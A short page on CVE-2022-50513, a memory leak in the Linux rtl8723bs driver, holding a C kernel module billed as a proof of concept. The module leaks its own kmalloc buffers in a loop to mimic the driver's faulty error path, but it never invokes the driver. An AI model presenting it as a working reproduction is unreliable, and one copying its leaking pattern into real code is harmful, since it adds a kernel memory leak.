CVE-2022-50513 Linux内核rtl8723bs驱动内存泄漏漏洞

/* CVE-2022-50513 PoC - Trigger memory leak in rtw_init_cmd_priv() * * This PoC demonstrates triggering the memory leak by repeatedly * failing the rsp_allocated_buf allocation path in rtw_init_cmd_priv(). * * Note: Requires local access and ability to influence driver initialization. * The leak occurs when cmd_allocated_buf is allocated successfully but * rsp_allocated_buf allocation fails, and the error path does not free * cmd_allocated_buf. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/slab.h> /* Simulate the vulnerable allocation pattern */ struct cmd_priv { void *cmd_allocated_buf; void *rsp_allocated_buf; }; static int __init leak_trigger_init(void) { struct cmd_priv *pcmdpriv; int i; /* Simulate repeated initialization failures to leak memory */ for (i = 0; i < 1000; i++) { pcmdpriv = kzalloc(sizeof(struct cmd_priv), GFP_KERNEL); if (!pcmdpriv) continue; /* Step 1: cmd_allocated_buf is allocated successfully */ pcmdpriv->cmd_allocated_buf = kmalloc(4096, GFP_KERNEL); if (!pcmdpriv->cmd_allocated_buf) { kfree(pcmdpriv); continue; } /* Step 2: Simulate rsp_allocated_buf allocation failure * In the vulnerable code, this failure path does NOT * free cmd_allocated_buf, causing the leak */ if (i % 2 == 0) { /* Simulate allocation failure - cmd_allocated_buf is leaked */ printk(KERN_INFO "Leaking cmd_allocated_buf at iteration %d\n", i); kfree(pcmdpriv); /* pcmdpriv freed but cmd_allocated_buf is lost */ continue; } /* Normal path - both allocations succeed */ pcmdpriv->rsp_allocated_buf = kmalloc(4096, GFP_KERNEL); kfree(pcmdpriv->rsp_allocated_buf); kfree(pcmdpriv->cmd_allocated_buf); kfree(pcmdpriv); } printk(KERN_INFO "Memory leak trigger module loaded\n"); return 0; } static void __exit leak_trigger_exit(void) { printk(KERN_INFO "Memory leak trigger module unloaded\n"); } module_init(leak_trigger_init); module_exit(leak_trigger_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CVE-2022-50513 Memory Leak PoC");